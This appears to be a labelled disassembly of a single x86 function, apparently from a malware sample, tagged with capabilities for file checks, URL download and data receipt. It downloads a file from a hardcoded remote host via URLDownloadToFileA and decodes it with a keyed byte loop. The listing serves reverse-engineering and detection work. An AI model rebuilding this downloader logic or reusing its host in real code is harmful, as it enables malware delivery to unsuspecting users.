Function at 0x401ab0
Capabilities:
Check if file exists
Download url
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x41e4f0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4269a0]
xor eax, esp
push eax
lea eax, [esp + 0x44]
mov dword fs:[0], eax
xor esi, esi
mov dword [esp + 0x4c], esi
mov ebx, dword [esp + 0x54]
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401b29
lea eax, [ebx - 0x10]
mov dword [esp + 0x4c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401b10
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x44]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
push str.http:__web.zpykl.com_get_win32__m201501
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push esi
push esi
push ebx
push str.http:__web.zpykl.com_get_win32__m201501
push esi
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, esi
jne 0x401d2e
lea ecx, [esp + 0x30]
call fcn.00402fcb
push esi
push 0x8002
push ebx
lea ecx, [esp + 0x3c]
mov byte [esp + 0x58], 1
call fcn.00403437
test eax, eax
lea ecx, [esp + 0x30]
je 0x401d24
call fcn.00402ebe
mov esi, eax
push esi
mov dword [esp + 0x28], esi
mov ebp, edx
call fcn.00402769
add esp, 4
mov edi, eax
push esi
push edi
lea ecx, [esp + 0x38]
call fcn.00402cd9
xor ecx, ecx
cmp eax, esi
jne 0x401cc8
cmp ecx, ebp
jne 0x401cc8
push str.GETTEMP
lea ecx, [esp + 0x18]
call fcn.00401710
push str.PATHIN
lea ecx, [esp + 0x1c]
mov byte [esp + 0x50], 2
call fcn.00401710
mov byte [esp + 0x4c], 3
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx - 0xc]
xor ebx, ebx
xor esi, esi
test ebp, ebp
jb 0x401c4b
ja 0x401be6
cmp dword [esp + 0x24], ebx
jbe 0x401c4b
cdq
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], edx
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
push edx
push eax
push esi
push ebx
call fcn.0041de90
test eax, eax
jl 0x401cbe
mov ecx, dword [esp + 0x14]
cmp eax, dword [ecx - 0xc]
jg 0x401cbe
test eax, eax
mov cl, byte [eax + ecx]
jl 0x401cbe
mov edx, dword [esp + 0x18]
cmp eax, dword [edx - 0xc]
jg 0x401cbe
mov al, byte [eax + edx]
add al, 1
imul bl
imul cl
sub byte [ebx + edi], al
add ebx, 1
adc esi, 0
cmp esi, ebp
jb 0x401bef
ja 0x401c4b
cmp ebx, dword [esp + 0x24]
jb 0x401bef
push 0
push 0
push 0
lea ecx, [esp + 0x3c]
call fcn.00402d64
mov ecx, dword [esp + 0x24]
push ecx
push edi
lea ecx, [esp + 0x38]
call fcn.00402d19
mov byte [esp + 0x4c], 2
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov esi, 1
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x401c93
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x4c], 1
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401cb8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ebx, dword [esp + 0x54]
jmp 0x401cca
push 0x80070057
call fcn.004012d0
mov esi, ecx
push edi
call fcn.0040276e
add esp, 4
lea ecx, [esp + 0x30]
call fcn.00402f69
lea ecx, [esp + 0x30]
mov byte [esp + 0x4c], 0
call fcn.004030c7
add ebx, 0xfffffff0
mov dword [esp + 0x4c], 0xffffffff
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401d0e
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
mov eax, esi
mov ecx, dword [esp + 0x44]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
mov byte [esp + 0x4c], 0
call fcn.004030c7
lea eax, [ebx - 0x10]
mov dword [esp + 0x4c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401d52
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x44]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret